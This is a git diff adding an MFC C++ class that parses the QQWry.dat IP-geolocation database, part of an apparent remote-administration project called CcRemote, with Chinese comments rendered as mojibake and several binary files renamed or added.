+	WriteFile(hFile, m_buf.GetBuffer(0), m_buf.GetLength(), &dwBytesWrite, NULL);
+
+	for(m_i=0;m_i<GetRecordCount();m_i++)
+	{
+		ioff=GetStartIPInfo(m_i);//�õ���ʼ��IP��Ϣ
+		str1.Format("%d.%d.%d.%d",m_ipoff.b3,m_ipoff.b2,m_ipoff.b1,m_ipoff.b0);//��ʼIP
+		str2.Format("%d.%d.%d.%d",m_ei.b3,m_ei.b2,m_ei.b1,m_ei.b0);//����IP
+		m_buf.Format("%-15s %-15s %s\r\n",
+			str1,str2,GetCountryLocal(m_ei.bMode,ioff+4));
+		WriteFile(hFile, m_buf.GetBuffer(0), m_buf.GetLength(), &dwBytesWrite, NULL);
+	}
+	CloseHandle(hFile);
+}
+
+
+/*********************************************************************
+* IPtoAdd(CString szIP)
+*
+* ����IP�ҵ���ַ
+*
+* ˵��:
+*********************************************************************/
+CString SEU_QQwry::IPtoAdd(CString szIP)
+{
+	if(szIP=="")return "������IP��ַ";
+	return GetCountryLocal(GetIndex(szIP));
+}
+
+
+/*********************************************************************
+* GetIndex(CString szIP)
+*
+* ����IP�ҵ�����
+*
+* ˵��:
+*********************************************************************/
+int SEU_QQwry::GetIndex(CString szIP)
+{
+	int index=-1;
+	DWORD dwInputIP;
+	DWORD dwStartIP;
+	dwInputIP=IPtoDWORD(szIP);
+	//���ð��������ٶȿ�һЩ
+	int iT;
+	int iB,iE;
+	iB=0;
+	iE=GetRecordCount()-1;
+	iT=iE/2;
+	
+	while(iB<iE)
+	{
+		dwStartIP=GetSIP(iT);
+		if(dwInputIP==dwStartIP)
+		{
+			index =iT;
+			break;
+		}
+		if((iE-iB)<=1)
+		{
+			for(int i=iB;i<=iE;i++)
+			{
+				dwStartIP=GetSIP(i);
+				if(dwStartIP<=dwInputIP && dwInputIP<=m_dwLastIP)
+				{
+					index=i;
+					break;
+				}
+			}
+			break;
+		}
+
+		if(dwInputIP>dwStartIP)
+		{
+			iB=iT;
+		}
+		else
+		{
+			iE=iT;
+		}
+		iT=iB+(iE-iB)/2;
+	}
+	return index;
+}
+//���������õ�DWORD���͵�IP,GetIndex(CString szIP)�������õ�
+DWORD SEU_QQwry::GetSIP(int index)
+{
+	DWORD ip;
+	BYTE b[3];
+	int ioff;
+	if(!m_bOpen)return -1;
+	if(index>GetRecordCount()-1)return -1;
+	if(index<0)return -1;
+	ioff=m_be.uBOff+index*7;
+	m_file.Seek(ioff,CFile::begin);
+	m_file.Read(&ip,4);
+	m_file.Read(b,3);
+	ioff=b[0]+b[1]*256+b[2]*256*256;
+	m_file.Seek(ioff,CFile::begin);
+	m_file.Read(&m_dwLastIP,4);
+	return ip;
+}
+//תCStringΪDWORD,GetIndex(CString szIP)�������õ�
+DWORD SEU_QQwry::IPtoDWORD(CString szIP)
+{
+	DWORD iIP;
+	BYTE b[4];
+	CString szTemp;
+	char ch;
+	int iLen;
+	int iXB;
+	szIP+=".";
+	memset(b,0,4);
+	iLen=szIP.GetLength();
+	iXB=0;
+	iIP=0;
+	for(int i=0;i<iLen;i++)
+	{
+		ch=szIP.GetAt(i);
+		szTemp+=ch;
+		if(ch=='.')
+		{
+			b[iXB]=atoi(szTemp);
+			szTemp="";
+			iXB++;
+		}
+	}
+	iIP=b[0]*256*256*256+b[1]*256*256+b[2]*256+b[3];
+	return iIP;
+}
+/*************************************************************/
+
+void SEU_QQwry::SetPath(CString path)
+{
+	m_bOpen=OpenQQwry(path);
+	GetBE();
+}
diff --git a/CcRemote/CcRemote/SEU_QQwry.h b/CcRemote/CcRemote/SEU_QQwry.h
new file mode 100644
index 0000000..e3a0ee8
--- /dev/null
+++ b/CcRemote/CcRemote/SEU_QQwry.h
@@ -0,0 +1,82 @@
+/*********************************************************************
+* SEU_QQwry.h
+*
+* �����ռ�����
+*
+* ˵��:����IP���ݿ� QQWry.dat�IJ�����
+* 
+* ���ִ�����Դ������,���������ʹ��,�������޸�.���Dz���������ҵ��;
+*********************************************************************/
+#include "pch.h"
+#if !defined(AFX_SEU_QQWRY_H)
+#define AFX_SEU_QQWRY_H
+
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+
+#define MAXBUF 50
+
+typedef struct _tagEndInfo
+{
+	BYTE b0;
+	BYTE b1;
+	BYTE b2;
+	BYTE b3;
+	BYTE buf[MAXBUF];
+	BYTE bMode;
+	int offset1;
+	int offset2;
+}EndInfo,PEndInfo;
+
+typedef struct _tagIPOFF
+{
+	BYTE b0;
+	BYTE b1;
+	BYTE b2;
+	BYTE b3;
+	BYTE off1;
+	BYTE off2;
+	BYTE off3;
+}IPOFF,*PIPOFF;
+
+typedef struct _tagBE
+{
+	int uBOff;
+	int uEOff;
+}BE,*PBE;
+
+class SEU_QQwry  
+{
+public://��ͨ�û��ӿں���
+	void SetPath(CString path);//����QQWry.dat��·��
+    CString IPtoAdd(CString szIP);//������IP,����IP��Ӧ�ĵ�ַ   
+	void SaveToFile(CString Name);//��QQWry.dat�ļ������ݵ���Ϊָ�����ļ�
+
+public://�߼��û�����	
+	DWORD m_dwLastIP;
+	CString GetCountryLocal(int index);
+	DWORD GetSIP(int index);
+	DWORD IPtoDWORD(CString szIP);
+	int GetIndex(CString szIP);
+	CString GetStr(void);
+	CString GetCountryLocal(BYTE bMode,int ioffset);
+	CString GetStr(int ioffset);
+	int GetRecordCount(void);
+	int m_i;
+	int GetStartIPInfo(int iIndex);
+	CString m_buf;
+	bool GetBE(void);
+	bool OpenQQwry(CString szFileName);//��QQwry���ݿ�
+	void CloseQQwry(void);//�ر�QQwry���ݿ�
+	BE m_be;
+	IPOFF m_ipoff;
+	EndInfo m_ei;
+	SEU_QQwry();
+	virtual ~SEU_QQwry();
+private:
+	bool m_bOpen;
+	CFile m_file;
+};
+
+#endif // !defined(AFX_SEU_QQWRY_H)
diff --git a/CcRemote/Release/CcRemote.exe b/bin/CcRemote.exe
similarity index 57%
rename from CcRemote/Release/CcRemote.exe
rename to bin/CcRemote.exe
index 7bf9e4f..2410093 100644
Binary files a/CcRemote/Release/CcRemote.exe and b/bin/CcRemote.exe differ
diff --git a/bin/QQwry.dat b/bin/QQwry.dat
new file mode 100644
index 0000000..20538c9
Binary files /dev/null and b/bin/QQwry.dat differ
diff --git a/bin/server/CcMainDll.id2 b/bin/server/CcMainDll.id2
new file mode 100644
index 0000000..5402ad0
Binary files /dev/null and b/bin/server/CcMainDll.id2 differ
diff --git a/CcMainDll/bin/server/CcMainDll.lib b/bin/server/CcMainDll.lib
similarity index 77%
rename from CcMainDll/bin/server/CcMainDll.lib
rename to bin/server/CcMainDll.lib
index 2032dd2..d5faaf6 100644
Binary files a/CcMainDll/bin/server/CcMainDll.lib and b/bin/server/CcMainDll.lib differ
diff --git a/bin/server/CcMainDll.til b/bin/server/CcMainDll.til
new file mode 100644
index 0000000..ef911c8
Binary files /dev/null and b/bin/server/CcMainDll.til differ
diff --git a/CcMainDll/bin/server/TestLoadDll.exe b/bin/server/TestLoadDll.exe
similarity index 94%
rename from CcMainDll/bin/server/TestLoadDll.exe
rename to bin/server/TestLoadDll.exe
index 8970ccc..ff5bd21 100644
Binary files a/CcMainDll/bin/server/TestLoadDll.exe and b/bin/server/TestLoadDll.exe differ